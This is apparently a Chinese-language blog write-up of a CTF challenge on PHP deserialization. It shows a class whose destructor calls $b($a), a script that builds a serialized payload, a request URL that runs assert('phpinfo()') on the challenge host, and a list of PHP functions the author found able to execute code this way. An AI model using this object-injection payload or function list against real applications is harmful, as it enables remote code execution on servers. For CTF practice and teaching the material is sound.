源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
- 通过析构函数来执行
$b($a) - 可以选择的函数有
systemassertshell_execexec一个个尝试就assert
payload
<?php
class HelloPhp{
public $a="phpinfo()";
public $b="assert";
}
$x = new HelloPhp;
echo serialize($x);
//var_dump($x);
$c = $x->a;
$d = $x->b;
//echo "------------";
//echo $c;echo $d;
//echo $d($c);
?>
http://72ee6ff0-bf99-4e09-882f-b7c22078f198.node4.buuoj.cn:81/time.php
?data=O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}
一些思考
这种\$b(\$a)执行函数的方式挺有意思,但是平时自己就没怎么总结过各种php执行代码的方式,现在总结一下
<?php
class Hello{
public $a="phpinfo()";
public $b="system";
}
$x = new Hello();
var_dump($x);
$c = $x->a;
$d = $x->b;
echo "------------";
echo $c;echo $d;
echo $d($c);
?>
成功
- system(phpinfo())
- assert(phpinfo())
- shell_exec(ls ./)
- exec(ls ./)
失败
- eval(phpinfo())
博客围绕PHP展开,给出通过析构函数执行代码的源码及相关payload链接。作者总结了PHP执行代码的方式,列举了成功的如system、assert等函数调用,也提及失败的如eval函数调用,对PHP代码执行进行了思考和总结。

3968

被折叠的 条评论
为什么被折叠?



